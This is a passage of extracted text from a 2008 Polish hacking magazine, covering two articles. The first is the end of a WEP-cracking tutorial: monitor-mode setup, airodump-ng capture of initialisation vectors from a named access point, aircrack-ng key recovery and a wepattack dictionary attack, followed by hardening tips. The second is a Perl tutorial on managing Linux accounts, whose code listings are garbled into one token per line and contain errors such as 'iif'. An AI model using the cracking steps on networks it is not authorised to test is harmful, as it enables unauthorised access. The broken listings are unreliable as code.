Dokonamy tego przy pomocy polecenia:

wlanconfig ath2 create wlandev wifi0

wlanmode monitor

KROK5

W artykule wykorzystałem kartę z
chipsetem Atheros 5005G ze sterownikami
Mad WiFi.

Mając już stworzony interfejs ath0,

zdolny do przechwytywania pakietów,
przystępujemy do przechwycenia pakietów
kierowanych nie tylko do naszego interfejsu:

Airodump-ng -c 5 -bssid 00:1B:11:

4C:25:BD -ivs -w
output ath2

gdzie:

• `-c <liczba> – oznacza kanał, na

którym będziemy nasłuchiwać,

• -b <MAC> – jest adresem MAC punktu

dostępowego,

• --ivs – flaga ta oznacza, że będziemy

przechwytywać tylko wektory
inicjujące,

• -w – zapis wektorów inicjujących do

pliku.

Po chwili program pokaże stacje dołączone
do sieci oraz liczbę przechwyconych
pakietów.

Widzimy, że do AP przyłączone

są dwie stacje: pierwsza to stacja
przechwytująca pakiety, a druga to
autoryzowana stacja kliencka. Nawet,
gdyby sieć miała ukryty ESSID, to po
przechwyceniu odpowiedniej ilości ramek
autoryzacyjnych byłby on uwidoczniony
przez Airodump.

KROK6

Ad. 3

Po przechwyceniu odpowiednio

dużej liczby pakietów pozostaje nam
uruchomić aircrack-ng i odczytać klucz
WEP.

KROK7

Analizować ruch w sieci WiFi można
także za pomocą sniffera, jednak musi
mieć on opcję poprawnego dekodowania

Rysunek 5.

Interfejs ath2 ustawiony w tryb monitor

Rysunek 6.

Airodump podczas procesu zbierania pakietów

Rysunek 7.

Końcowy etap pracy programu Aircrack – złamanie klucza WEP

background image

20

HAKIN9 9/2008

POCZĄTKI

POCZĄTKI

21

ŁAMANIE WIFI

HAKIN9

9/2008

ramek WLAN. Przykładem takiego
analizatora jest Wireshark, posiadający
ponadto funkcje filtrowania pakietów,
dekodowanie ramek oraz pokazujący
statystyki ruchu.

KROK8

Atak słownikowy na WEP

Istnieje duża szansa na złamanie klucza
WEP, jeśli jest on domyślny [5] lub też
jego treść to po prostu coś znaczące
słowo. Można wtedy przeprowadzić atak
słownikowy, korzystając z narzędzia
wepattack [6]. Niektóre AP wymuszają
ustawienie klucza WEP (ASCII)

składającego się z samych liter a-z oraz
A-Z, długość ciągu znakowego musi
wynosić dokładnie 5 lub 13 znaków ASCII.
Zawęża to w pewnym stopniu zawartość
słownika.

PODSUMOWANIE

Sieci WiFi przeżywają swój rozkwit.
Artykuł miał za zadanie przedstawić
słabości tego typu sieci oraz sposoby,
na jakie mogą one zostać wykorzystane
przez hakera. Ważne jest zatem
prawidłowe skonfigurowanie oraz
zabezpieczenie sieci bezprzewodowej.
Zaleca się korzystanie z szyfrowania
WPA-PSK. Poniżej przedstawię kilka

rad dla administratorów sieci WiFi,
pomagających dobrze zabezpieczyć sieć
bezprzewodową.

• zmień domyślne hasło administratora

dla routera WiFi,

• jeśli router posiada taką możliwość,

zmień domyślny adres routera
192.168.0.1 na inny, np. 192.168.13.1,

• zmień domyślny ESSID sieci

(np. D-Link) na inny. Może to
bowiem być wskazówką, że
administrator sieci nie zmienił hasła
producenta. W przypadku urządzeń
wykorzystujących WEP, wyłącz
rozgłaszanie ESSID,

• włącz szyfrowanie WEP/WPA,
• stosuj trudne od odgadnięcia hasła

WEP,

• od czasu do czasu testuj

bezpieczeństwo swojej sieci,

• podłączaj AP zawsze za firewallem,
• włącz filtrowanie adresów MAC,
• ograniczaj moc AP do niezbędnej,

ulokuj AP na środku pomieszczenia,

• wyłącz AP na czas dłuższej

nieobecności w mieszkaniu,

• wyłącz wbudowany serwer DHCP,
• aktualizuj firmware AP/routera.

Techniki tu przedstawione nie należą
do specjalnie trudnych, jednak gdy
administrator zastosuje co najmniej
kilka z nich, to potencjalny haker będzie
musiał poświęcić wiele czasu na
złamanie zabezpieczeń takiej sieci, czyli jej
kompromitację.

Rysunek 8.

Analizator sieciowy Wireshark (dawniej Ethereal) z nałożonym filtrem pakietów

W Sieci

Rekord przesyłu danych w sieci WiFi – http://hacking.pl/pl/news-6918-Pobito_rekord_przesylania_danych_na_odleglosc_w_technologii_Wi_
Fi.html,

Opis algorytmu WEP – http://www.cyberbajt.pl/cyber.php?get=raport,377,4,379,

Instytut Inżynierów Elektryków i Elektroników – http://www.ieee.org,

Bezpieczeństwo sieci bezprzewodowych, Ballinsky, Miller, Sankar – Wydawnictwo MIKOM, Warszawa, 2005 r.,

Lista domyślnych ESSID, haseł oraz adresów IP Access Pointów różnych producentów –

http://wirelessdefence.org/Contents/DefaultWIFISettings.htm,

Narzędzie Wepattack – http://www.wepattack.sourceforge.net.

Rafał Lysik

Autor jest administratorem systemu w polskim oddziale

słowackiej firmy z branży elektronicznej. Na co dzień

zajmuje się serwisami internetowymi, rozwiązaniami

e-commerce, pisaniem skryptów.Programuje w

językach C++, JavaScript, PHP, Python.Jego pasją jest

kryptografia.Jest zwolennikiem wolnego oprogramowania

oraz powszechnego dostępu do Internetu.Prowadzi

serwis www.doctor.programuj.com.

Kontakt z autorem: doctor@o2.pl

background image

22

POCZĄTKI

HAKIN9 9/2008

P

roblemem administratora systemu
najczęściej bywają użytkownicy. To
właśnie ta grupa ulega najczęstszym

zmianom i przetasowaniom. Zmieniają się hasła,
loginy, parametry kont itp. Póki system zawiera
kilka lub kilkanaście kont, problem ten nie jest
aż tak zauważalny, jednak co dzieje się gdy tych
kont zaczyna przybywać i mamy do czynienia
z dziesiątkami, a nawet setkami? Odpowiedź
nasuwa się sama – czas zakasać rękawy,
zaprzęgnąć do pracy Perla i stworzyć kilka
narzędzi, które będą część zadań wykonywały
za nas.

Co warto, czego nie warto – czyli

najtrudniejszy pierwszy krok

Na początku należy się poważnie zastanowić
nad strukturą całego systemu. Oczywistym jest,
że w większych systemach mamy zwykle jedną
maszynę, na której przechowywane są dane
o kontach i wiele maszyn-klientów, na których
poszczególni użytkownicy wykonują swą pracę.
Należałoby zatem stworzyć na początek skrypt
odpowiedzialny za pobieranie i aktualizację
plików konfiguracyjnych z serwera na lokalna
maszynę administratora. Nie należy ryzykować
utratą danych podczas pracy na żywych plikach.
Warto też składować te dane w jakiejś bardziej
rozsądnej postaci, którą Perl będzie mógł łatwo
przerabiać. Format XML wydaje się wprost
idealny do tego celu. Tworząc najpierw strukturę
hashową, możemy potem w prosty sposób

BARTOSZ KAMIŃSKI,

SŁAWOMIR ORŁOWSKI

Z ARTYKUŁU

DOWIESZ SIĘ

jak wykorzystać język Perl w

pracy administratora,

jak rozwiązać podstawowe

problemy z zarządzaniem

kontami użytkowników,

jak rozsądnie wykorzystać

możliwości drzemiące w XML i

jak połączyć je z językiem Perl.

CO POWINIENEŚ

WIEDZIEĆ

znajomość języka Perl na

średnim poziomie,

podstawowa znajomość formatu

XML,

podstawy pisania skryptów pod

systemem Linux,

podstawowa znajomość

mechanizmów przechowywania

informacji o kontach w systemie

Linux.

przerobić wszystko do formatu składowego, czyli
XML (Listing 1).

Konwersja w ogólnym zarysie opiera się na

3 krokach. Najpierw czytamy plik konfiguracyjny
liniami (jak wiadomo każda linia to informacje
o danym użytkowniku) oraz dzielimy wiersz na
pola (separatorem jest oczywiście „:”). Następnie
tworzymy hasha, którego kluczami będą loginy
kolejnych użytkowników, a ich wartościami inne
tablice asocjacyjne. Te inne hashe to nic innego
jak zapisy poszczególnych użytkowników, a
zatem klucze to nazwy kolejnych pól (login, pass,
homedir, etc.), a ich wartości to dane wyciągnięte
z danej linii pliku np. passwd. W ten oto sposób
otrzymaliśmy tablicę tablic (a dokładniej
hasha hashy), w której mamy zawarte dane o
wszystkich użytkownikach systemu. Kolejny krok to
zasadnicza konwersja. Tworzymy nową strukturę
XML o znaczniku głównym powiedzmy <users/>
oraz znacznikach <user/> dla poszczególnych
użytkowników. Naszą poprzednią strukturę
przerabiamy teraz według przepisu: Każdy wpis
w nadrzędnej tablicy powoduje stworzenie
wpisu <user/> w strukturze XML, elementy
podrzędnej tablicy asocjacyjne zaś dają nam

Stopień trudności

Administracja

kontami w

Linuksie

Często praca administratora systemu bywa żmudna i

nieprzyjemna, dlaczego zatem sobie jej nie uprościć? Poniższy

artykuł powinien nieco pomóc w tym zadaniu.

W Sieci

http://www.cpan.org – największe repozytorium
modułów Perlowych. Jeśli potrzeba Ci narzędzi, a nie
masz czasu żeby sam je napisać, poszukaj tutaj.

background image

23

ADMINISTRACJA KONTAMI W LINUKSIE

HAKIN9

9/2008

parametry znacznika <user/>. W efekcie z
przykładowego hasza:

login1 => login=>wart1
pass=>wart2
home=>wart3
login2 => login=>wart1

Otrzymujemy plik XML o postaci:

<users>
<user login=”wart1” pass=”wart2”

home=”wart3”/>

<user login=”wart1” pass=”wart2”

home=”wart3”/>

</users>

W kodzie z Listingu 1. wykorzystane są
funkcje spoza skryptu (loadPasswd, dbCre
ateStructXML,dbSave
). Ich implementacja
znajduje się w plikach bibliotek autorstwa
Łukasza Cieśli, z których korzystaliśmy.
Biblioteki te służą przede wszystkim do
przerabiania pobranych danych do formatu
XML. Jednakże nie są one jedynymi,
które możemy użyć. W repozytorium
CPAN znajduje się kilka innych modułów
nadających się do tego celu (tak czy
inaczej, większość z nich korzysta z funkcji
XMLin oraz XMLout, będących składowymi
modułu XML::Simple). Wystarczy wówczas
dokonać tylko lekkiej modyfikacji głównego
skryptu. Niemniej jednak część funkcji
zawartych w bibliotekach użytych w skrypcie
zamieszczam na Listingu 2.

Listing obejmuje jedynie te procedury,

które były użyte w konwersji pliku passwd.
Niemniej jednak procedury odpowiadające
za konwersję pozostałych plików (shadow,
group
) wyglądają analogicznie. Powyższe
funkcje oczywiście należy wykesportować
poza bibliotekę funkcją Exporter i
odpowiednią zmienną globalną, ale
uważam to za zadanie dosyć proste.

Informacja

gwarantem sukcesu

Bardzo często administrator systemu
spotyka się z problemem niepotrzebnych
kont. Załóżmy, ze mamy do czynienia
z systemem działającym w bazie
szkoleniowej. Na bieżąco przybywa kont,
ale jednocześnie spora część staje się już
nieaktualna. Jak zatem sprawdzić, które
konta można juz wyrzucić ? Najlepszym
sposobem będzie sprawdzenie, którym

kontom skończył się na przykład okres
ważności. Nie jest to oczywiście jedyny
przykład potrzeby natury informacyjnej
– często choćby poszukujemy ludzi z jednej
grupy systemowej albo chcemy sprawdzić
czyje konta zostały zablokowane. Wówczas
przydatnym narzędziem będzie niewątpliwie
skrypt wyciągający dla nas dane o
użytkownikach z plików konfiguracyjnych.
Posiadając już gotową bazę w formacie
XML zadanie to staje się stosunkowo
łatwe. Otwieramy więc kolejne pliki z bazą
użytkowników (passwd, shadow, group), a
następnie konwertujemy je z powrotem do
formatu hashowego. Dane w tej postaci są
gotowe do użytku. Każdy musi jednak sam
zdecydować, jakie informacje będą mu w
przyszłości potrzebne. Poniżej prezentujemy
procedury służące do uzyskania terminu
ważności konta, czasu ostatniego
logowania, przynależności do grup oraz
wyszukiwania użytkowników należących
do zadanej grupy. Poziom szczegółowości
wyrzucanych danych jest zależny od
użytych przełączników. Jeśli jeszcze ktoś
miał wątpliwości, dlaczego zastosowaliśmy

akurat Perl – to myślę, że na tym etapie
powoli zaczyna się przekonywać, iż język ten
dostarcza nam wielu przydatnych narzędzi i
struktur do tego typu zadań (Listing 3).

Informacje te przede wszystkim mogą

posłużyć nam do sprawdzania, którym z kont
upłynęła ważność hasła lub też – które są
zablokowane. Funkcjonalność i przydatność
skryptów zależą jednak tylko i wyłącznie od
fantazji administratora, gdyż tutaj pokazane
zostały tylko wybrane fragmenty z plików
konfiguracyjnych czy też wyniki użycia
poleceń systemowych, a to tylko czubek góry
lodowej. Wystarczą drobne dodatki, a skrypt
może również dawać nam obraz np. kwoty
dyskowej lub wielkości pamięci operacyjnej
dostępnej dla użytkownika.

Cała zasada działania powyższego

skryptu (podobnie, jak i innych) opiera się
na odpowiednim wykorzystaniu struktury
danych, na której pracujemy. Jako, że
mamy do czynienia z hashami, wystarczy
tylko wyciągnąć dane przypisane do
odpowiedniego klucza (klucze oczywiście
zależne są od pliku konfiguracyjnego, z
którego dane zostały pobrane).

Listing 1.

Kopiowanie i konwersja plików konfiguracyjnych na przykładzie passwd

my

$

installDir

=

""

;

use

lib

""

;

use

DBxml

;

use

Error

;

use

TDB

;

use

Getopt

::

Long

qw

(:

config

no_ignore_case

);

GetOptions

(

'

c

:

s

'

=>

\$

opt_c

, #

parametr

kopiowania

i

katal

. ź

r

.

'P'

=>

\$

opt_P

, #

parametr

kopiowania

passwd

'

s

=

s

'

=>

\$

opt_s

, #

katalog

ź

r

ó

d

ł

owy

'

d

=

s

'

=>

\$

opt_d

);

#katalog docelowy

sub

Copy

()

{

if

(

$

opt_c

==

1

)

{

$

opt_c

=

"/etc/"

;

}

if

(

defined

$

opt_P

)

{

$

source

=

$

opt_c

.

"/passwd"

;

$

source

=

~

s

/\/

\//\//;

my

$

filename

=

$

installDir

.

"/etc/passwd"

;

`

cp

$

source

$

filename

`

;

}

}

sub

GetPass

()

{

if

(

defined

$

opt_s

)

{

$

opt_s

=

~

s

/

(

.

*)

$/$

1

\\/

;

@

arrayPasswd

=

loadPasswd

(

"$opt_s"

.

"passwd"

);

}

else

{

$

filename

=

$

installDir

.

"/etc/passwd"

;

@

arrayPasswd

=

loadPasswd

(

$

filename

);

}

$

xmlPasswd

=

dbCreateStructXML

(

\@

arrayPasswd

,'

users

','

user

'

);

if

(!

defined

$

opt_d

)

{

$

filename

=

$

installDir

.

"/etc/xml/passwd"

;

}

else

{

$

filename

=

$

opt_d

.

"passwd"

;

}

dbSave

(

$

xmlPasswd

, $

filename

);

}

background image

24

POCZATKI

HAKIN9 9/2008

Zwróćmy też uwagę na to, iż dosyć

istotną kwestią jest w miarę intuicyjne
nazwanie poszczególnych kluczy. Dzięki
temu możemy definiować w skrypcie
kolejne informacje do pobrania w bardzo
szybki sposób.

Warto też zauważyć duże możliwości

jakie dostarcza nam w tym miejscu
wykorzystanie przełączników. Może nie
widać tego na pierwszy „rzut oka”, jednak
dodatek w postaci paru linijek kodu
spowoduje, iż skrypt będzie nam dawał tylko
i wyłącznie informacje nam potrzebne. W
kodzie powyżej dostajemy pewną z góry
określoną dawkę danych, lecz możemy
spotkać się z sytuacją ze połowa tych
informacji jest nam w danej chwili nie
potrzebna. Odpowiednie zdefiniowanie
przełączników pod własne potrzeby dam
nam obraz jak oczekujemy.

W powyższym skrypcie pojawiają się

kolejne procedury z bibliotek zewnętrznych,

a zatem należałoby przybliżyć kilka z nich.
Przede wszystkim pokażemy procedury
dbRootArray oraz dbToHash, gdyż
procedura dbLoad jest dosyć podobna do
przedstawianej wcześniej dbSave (Listing 4).

Procedury z Listingu 4. są nam

nieodzowne, gdyż cała praca skryptów
opiera się na strukturach haszowych, do
których Perl jest przystosowany. Można by
było pokusić się o działanie bezpośrednie
na danych XML, ale naszym zadaniem było
ułatwianie sobie życia, a nie dalsza jego
komplikacja. Z tego też faktu wygląd kodu
niektórym Czytelnikom wyda się pewnie
bzdurny i aż nadto uproszczony, ale należy w
tym miejscu przyznać, iż do prostych zadań
należy użyc jak najprostszych metod.

Kupą mości Panowie, kupą!

Dotychczas opisywaliśmy skrypty będące
tylko otoczką tego, co naprawdę jest
nam niezbędne. Jak najbardziej musimy

posiadać narzędzia przygotowujące nam
grunt do pracy oraz takie, które będą
nam mówiły, kiedy i co należy zrobić
– jednak istotą całego przedstawienia jest
zarządzanie samymi kontami użytkowników.
Ile to razy zdarza się żmudnie dodawać
kilkunastu użytkowników, tworzyć im
katalogi domowe, ustawiać lub też – o
zgrozo – wymyślać hasła tymczasowe.
Czas by z tym skończyć i użyć czegoś, co
z przyjemnością zrobi to za nas. Fakt – nie
unikniemy stworzenia pewnych danych
wsadowych, bo przecież maszyna nie
zgadnie, kogo chcemy dodać lub usunąć z
systemu, ale o ile prościej jest stworzyć listę
loginów niż kompletne konto? Na początek
zaprezentujemy dodawanie pojedynczego
użytkownika, a potem pewien niewielki
dodatek, który spowoduje wywołanie reakcji
łańcuchowej (Listing 5).

Kod ten odpowiada za dodanie

pojedynczego konta użytkownika. Owszem,
wygląda dosyć przerażająco na pierwszy
rzut oka, ale w praktyce okazuje się
bardzo skuteczny. Tworzy nam kompletne
konto wraz z katalogiem domowym,
wpisem do grupy, a nawet generacją
hasła i zaszyfrowaniem go algorytmem
md5 na potrzeby pliku shadow. Cały
mechanizm – podobnie, jak poprzednio
– opiera się głównie na odpowiednim
manipulowaniem polami struktur danych.
Na początku określiliśmy sobie klucze w
tablicy @items, a następnie przerabiamy
odpowiednie wpisy, by na końcu stworzyć
hash z danymi nowego użytkownika, dodać
go do tablicy takich hashy i zapisać do
plików konfiguracyjnych. Tablice hashy
są mechanizmem, który pozwala nam
na wykorzystanie funkcji Add() w celu
dodawania użytkowników masowo na
bazie pliku listy (plik tekstowy o strukturze
pliku passwd wystarczy jednak, iż zawiera
on samą listę loginów pozostałe pola
mogą pozostać bez wartości – liczy się
tylko liczba pól. Jeśli chcemy by konto
zostało utworzone z innym parametrem
niż domyślny wystarczy w odpowiednim
polu umieścić wartość parametru. Pola
oczywiście tak samo jak w passwd
oddzielone znakiem ':').. Aby zrealizować
seryjne dodawanie kont, należy wreszcie
zamknąć całą procedurę dodającą w pętlę,
np.

while

, która będzie pracowała tak

długo, aż nie dojdzie do końca pliku z listą
użytkowników.

Listing 2.

Część procedur użytych przy konwersji do formatu XML

use

XML

::

Simple

qw

(

XMLin

XMLout

);

sub

dbCreateStructXML

()

{

my

(

$

refArray

, $

rootTag

, $

itemTag

)

=

@

_

;

my

$

xml

=

{}

;

$$

xml

{

'

rootTag

'

}

=

$

rootTag

;

$$

xml

{

'

itemTag

'

}

=

$

itemTag

;

$$

xml

{

'

struct

'

}

=

{

"$itemTag"

=>

$

refArray

}

;

return

$

xml

;

}

sub

dbSave

()

{

my

(

$

xml

, $

fileName

)

=

@

_

;

if

(

$

fileName

eq

"-"

)

{

*

OUTPUT

=*

STDOUT

;

}

else

{

open

(

OUTPUT

, '>'.$

fileName

)

or

die

errorStr

(

'

fsave

',$

fileName

);

}

print

OUTPUT

(

'

<

?

xml

version

=

"1.0"

encoding

=

"ISO-8859-2"

?

>

'.

"

\n

"

);

print

OUTPUT

(

XMLout

(

$$

xml

{

'

struct

'

}

,

RootName

=>

$$

xml

{

'

rootTag

'

}

));

if

(

$

fileName

ne

"-"

)

{

close

(

OUTPUT

);

}

}

sub

loadTDB

()

{

my

(

$

fileName

, $

fields

, $

opt

)

=

@

_

;

if

(

$

fileName

eq

"-"

)

{

*

INPUT

=*

STDIN

}

else

{

open

(

INPUT

, $

fileName

)

or

die

errorStr

(

'

fopen

',$

fileName

);

}

my

@

items

=

();

while

(

my

$

line

=<

INPUT

>)

{

chomp

(

$

line

);

my

@

values

=

split

(

$$

opt

{

'

sep

'

}

,$

line

);

my

%

item

=();

for

(

my

$

i

=

0

;

$

i

<

@

values

;

$

i

++)

{

$

item

{

$

{

$

fields

}

[

$

i

]

}

=

$

values

[

$

i

];

}

push

@

items

, \

%

item

;

}

if

(

$

fileName

ne

"-"

)

{

close

(

INPUT

);

}

return

@

items

;

}

sub

loadPasswd

()

{

my

$

fileName

=

shift

@

_

;

return

loadTDB

(

$

fileName

,

[

qw

(

login

password

userID

groupID

description

homeDir

shell

)]

,

{

sep

=>

':'

}

)

}

background image

ADMINISTRACJA KONTAMI W LINUKSIE

25

HAKIN9

9/2008

background image

26

POCZATKI

HAKIN9 9/2008

ADMINISTRACJA KONTAMI W LINUKSIE

27

HAKIN9

9/2008

Skrypt wykorzystuje dodatkową

bibliotekę Date::Simple, pobraną z zasobów
CPAN. Użyta jest ona do obliczania czasu
od początku epoki. Oczywiście jest to tylko
jedna z wielu możliwości na drodze do
uzyskania potrzebnego na wyniku.

W skrypcie pojawia się odwołanie do

kilku funkcji, które mają swoje określone
zadania, takie jak: generacja hasła,
szyfrowanie md5, sprawdzanie, czy
dodawany użytkownik nie widnieje już
w systemie czy też tworzenie katalogów
domowych (Listing 6).

O ile potrzeba istnienia funkcji

generującej i szyfrującej nie budzi pytań
po co to?, o tyle zdarzyło mi się usłyszeć
takie pytanie odnośnie funkcji zapisującej

do pliku hasła w formie nie zaszyfrowanej.
Otóż, chciałbym zauważyć, że jeśli tworzymy
konto użytkownika (a już tym bardziej
grupę kont), wówczas naszym zamiarem
jest wygenerowanie losowego hasła, które
będzie ważne powiedzmy 7 dni i będzie
możliwe zalogowanie się przy jego użyciu
na dane konto m.in. w celu jego zmiany.
Żeby tego dokonać, warto byłoby znać
samo hasło, a nie tylko jego hash md5.

Kwestia samego szyfrowania jak nie

trudno zauważyć została tutaj rozwiązana
w najprostszy, a jednocześnie najbardziej
logiczny sposób jaki przychodzi do głowy.
Zwykle system narzuca nam pewne
rygorystyczne zasady co do postaci hasła:
odpowiedni zestaw znaków (najczęściej

małe i wielkie litery + cyfra, często wymagany
jest też znak specjalny), minimalna
długość (standardy mówią zwykle o min.
6 znakach, lecz dla pewności ustalmy ich
liczbę na 8). A zatem ustalamy sobie listę
znaków alfabetycznych, numerycznych
oraz listę znaków specjalnych. Generujemy
8 znakowe hasło funkcją

random()

na

bazie liter. Następnie musimy zapewnić,
by w tak oto powstałym ciągu wystąpiła
przynajmniej jedna cyfra i jeden znak
specjalny. Korzystając z funkcji

substr()

podmieniamy losowo wybrane elementy.
W najgorszym układzie może zdarzyć się,
że druga podmiana (na znak specjalny)
trafi na miejsce cyfry, jednak nawet w tej
sytuacji system nie powinien nam odrzucić

Listing 3.

Procedury „wyciągające” informacje o użytkownikach

if

(

defined

$

opt_d

)

{

$

xmlpwd

=

dbLoad

(

$

opt_d

.

"/passwd"

,'

user

s

','

user

'

);

}

else

{

$

xmlpwd

=

dbLoad

(

"$installDir/etc/xml/passwd"

,'

users

',

'

user

'

);

}

my

$

arruserpwd

=

dbRootArray

(

$

xmlpwd

);

our

$

hashpwd

=

dbToHash

(

$

arruserpwd

,

[

'

login

'

]

,''

);

if

(

defined

$

opt_d

)

{

$

xmlgrp

=

dbLoad

(

$

opt_d

.

"/group"

,'

group

s

','

group

'

);

}

else

{

$

xmlgrp

=

dbLoad

(

"$installDir/etc/xml/group"

,'

groups

',

'

group

'

);

}

my

$

arrusergrp

=

dbRootArray

(

$

xmlgrp

);

our

$

hashgrp

=

dbToHash

(

$

arrusergrp

,

[

'

groupName

'

]

,''

);

if

(

defined

$

opt_d

)

{

$

xmlsh

=

dbLoad

(

$

opt_d

.

"/shadow"

,'

users

',

'

user

'

);

}

else

{

$

xmlsh

=

dbLoad

(

"$installDir/etc/xml/shadow"

,'

users

','

user

'

);

}

my

$

arrusersh

=

dbRootArray

(

$

xmlsh

);

our

$

hashsh

=

dbToHash

(

$

arrusersh

,

[

'

login

'

]

,''

);

sub

ExpDate

()

{

$

user

=

shift

;

my

$

exp

=

""

;

foreach

$

login

(

keys

%

$

hashsh

)

{

if

(

$

{

$$

hashsh

{

$

login

}

[

0

]

}{

'

login

'

}

eq

$

user

)

{

if

(

defined

$

{

$$

hashsh

{

$

login

}

[

0

]

}{

'

sp_expire

'

}

)

{

$

exp

=

localtime

(

chomp

(

$

{

$$

hashsh

{

$

login

}

[

0

]

}

{

'

sp_expire

'

}

));

}

else

{

$

exp

=

"Never"

;

}

}

}

print

"Exp Date:

\t

"

, $

exp

,

"

\n\n

"

;

}

sub

LastLogin

()

{

$

user

=

shift

;

$

last

=

`

last

$

user

|

head

-

2

`

;

$

last

=

~

s

/\

n

//

;

print

"Last Login:

\t

$last

\n\n

"

;

}

sub

GetGroup

()

{

$

user

=

shift

;

$

primgrp

=

""

;

foreach

$

login

(

keys

%

$

hashpwd

)

{

if

(

$

{

$$

hashpwd

{

$

login

}

[

0

]

}{

'

login

'

}

eq

$

user

)

{

$

group

=

$

{

$$

hashpwd

{

$

login

}

[

0

]

}{

'

groupID

'

}

;

foreach

$

name

(

keys

%

$

hashgrp

)

{

if

(

$

{

$$

hashgrp

{

$

name

}

[

0

]

}{

'

groupID

'

}

eq

$

group

)

{

$

primgrp

=

$

{

$$

hashgrp

{

$

name

}

[

0

]

}{

'

groupName

'

}

;

}

else

{

iif

(

defined

$

{

$$

hashgrp

{

$

name

}

[

0

]

}{

'

userList

'

}

)

{

if

(

$

{

$$

hashgrp

{

$

name

}

[

0

]

}{

'

userList

'

}

=

~

/$

user

/

)

{

push

(

@

secgrp

,

", "

.$

{

$$

hashgrp

{

$

name

}

[

0

]

}{

'

groupName

'

}

);

}

}

}

}

}

}

print

"UNIX Groups:

\t

"

, $

primgrp

;

if

(

defined

@

secgrp

)

{

print

@

secgrp

,

"

\n\n

"

;

}

else

{

print

"

\n\n

"

;

}

}

sub

GetLogins

()

{

my

@

users

=();

if

(

defined

$

opt_g

)

{

if

(

$

opt_g

=

~ /^\

d

*

$/

)

{

foreach

$

login

(

keys

%

$

hashpwd

)

{

if

(

$

{

$$

hashpwd

{

$

login

}

[

0

]

}{

'

groupID

'

}

==

$

opt_g

)

{

push

(

@

users

, $

{

$$

hashpwd

{

$

login

}

[

0

]

}{

'

login

'

}

);

}

}

}

else

{

my

$

gid

=-

1

;

foreach

$

name

(

keys

%

$

hashgrp

)

{

if

(

$

{

$$

hashgrp

{

$

name

}

[

0

]

}{

'

groupName

'

}

eq

$

opt_g

)

{

$

gid

=

$

{

$$

hashgrp

{

$

name

}

[

0

]

}{

'

groupID

'

}

;

}

}

foreach

$

login

(

keys

%

$

hashpwd

)

{

if

(

$

{

$$

hashpwd

{

$

login

}

[

0

]

}{

'

groupID

'

}

==

$

gid

)

{

push

(

@

users

, $

{

$$

hashpwd

{

$

login

}

[

0

]

}{

'

login

'

}

);

}

}

}

}

return

@

users

;

}

background image

26

POCZATKI

HAKIN9 9/2008

ADMINISTRACJA KONTAMI W LINUKSIE

27

HAKIN9

9/2008

hasła, choć wstępne założenie faktycznie nie
zostało do końca spełnione. Teraz nadszedł

czas na zaszyfrowanie naszego hasełka.
Podobnie jak poprzednio generujemy

ciag znaków, ponownie o długości 8, lecz
skonstruwany z nieco innego zestawu
elementów (jest to tak zwana sól czyli
randomowy fragment doklejany na początku
szyfrowanych danych w celu dodatkowego
zabezpieczenia). Sól musimy obudować
do postaci $1$sól$. Dzięki temu efekt
szyfrowania będzie odpowiadał standardowi
jaki funkcjonuje w pliku shadow. Ostatecznie
korzystamy z funkcji

crypt($hasło,$sól)

.

No i w ten sposób otrzymujemy hasło
zakodowane algorytmem MD5.

Na Listingu 7. mamy kolejne dwie ważne

funkcje skryptu. Pierwsza z nich wyznacza
nam kolejny wolny numer użytkownika (UID).
Działa ona w dosyć trywialny, można by
rzec wręcz – naiwny, sposób. Mianowicie
porównuje wartości UID wszystkich
wpisanych do bazy użytkowników, wybiera
tego z największym UID a następnie
dodaje 1 i zwraca wynik jako nowe UID.
Przy czym należy tu zwrócić uwagę na wpis
nobody znajdujący się w pliku passwd,

Listing 4.

Funkcje biblioteczne przywracające dane XML do formy hasha

sub

dbRootArray

()

{

my

(

$

xml

)

=

@

_

;

my

$

xmlStruct

=

$$

xml

{

'

struct

'

}

;

unless

(

defined

(

$$

xml

{

$$

xml

{

'

itemTag

'

}}

))

{

$$

xml

{

$$

xml

{

'

itemTag

'

}}

=[];

}

return

$$

xmlStruct

{

$$

xml

{

'

itemTag

'

}}

;

}

sub

dbToHash

()

{

my

(

$

refA

, $

keyFields

, $

sep

)

=

@

_

;

unless

(

defined

(

$

sep

))

{

$

sep

=

'|'

;

}

my

$

refH

=

{}

;

foreach

my

$

item

(

@$

refA

)

{

my

$

key

=

''

;

foreach

my

$

field

(

@$

keyFields

)

{

if

(

defined

(

$$

item

{

$

field

}

))

{

$

key

.

=

$$

item

{

$

field

}

;

}

my

$

key

.

=

$

sep

;

}

unless

(

defined

(

$$

refH

{

$

key

}

))

{

$$

refH

{

$

key

}

=[];

}

push

@

{

$$

refH

{

$

key

}}

, $

item

;

}

return

$

refH

;

}

Listing 5.

Dodawanie pojedynczego użytkownika

sub

Add

()

{

my

@

items

=

qw

(

login

password

userID

groupID

description

homeDir

shell

passwordShadow

sp_lstchg

sp_min

sp_max

sp_warn

sp_inact

sp_expire

sp_flag

ahDir

);

my

@

userspw

=

();

my

@

userssh

=

();

my

@

usersgr

=

();

my

@

passes

=

();

my

%

userpw

=

();

my

%

usersh

=

();

my

%

usergr

=

();

my

@

tab

=

();

if

(

$

login

eq

""

)

{

print

"Blad nazwa uzytkownika nie podana

\n

"

;

exit

;

}

my

$

error

=&

TestUser

(

$

items

[

0

]

, $

login

);

if

(

$

error

==

1

)

{

print

"Blad uzytkownik "

, $

login

,

" istnieje $!

\n

"

;

exit

;

}

$

userpw

{

$

items

[

0

]

}

=

$

usersh

{

$

items

[

0

]

}

=

$

usergr

{

$

items

[

0

]

}

=

$

login

;

$

userpw

{

$

items

[

4

]

}

=

$

desc

;

if

(

$

pass

eq

""

)

{

$

pass

=

&

MakePass

();

}

push

@

tab

, $

login

, $

pass

;

$

pass

=

&

Crypt

(

$

pass

);

$

usersh

{

$

items

[

7

]

}

=

$

pass

;

if

(

$

p

!=

7

)

{

$

usersh

{

$

items

[

10

]

}

=

$

p

;

}

else

{

$

usersh

{

$

items

[

10

]

}

=

$

p

;

}

if

(

$

uid

==

-

1

)

{

$

uid

=&

CountID

(

$

items

[

0

]

,$

items

[

2

]

,

1

);

}

else

{

$

error

=&

TestUser

(

$

items

[

2

]

, $

uid

);

if

(

$

error

==

1

)

{

print

"Blad uzytkownik o UID"

, $

uid

,

" istnieje $!

\n

"

;

exit

;

}

}

$

userpw

{

$

items

[

2

]

}

=

$

uid

;

if

(

$

gid

==

-

1

)

{

$

gid

=

$

option

{

'

GID

'

}

;

}

$

userpw

{

$

items

[

3

]

}

=

$

usergr

{

$

items

[

3

]

}

=

$

gid

;

if

(

$

homedir

eq

""

)

{

$

homedir

=

$

option

{

'

Homedir

'

}

.$

login

;

}

$

userpw

{

$

items

[

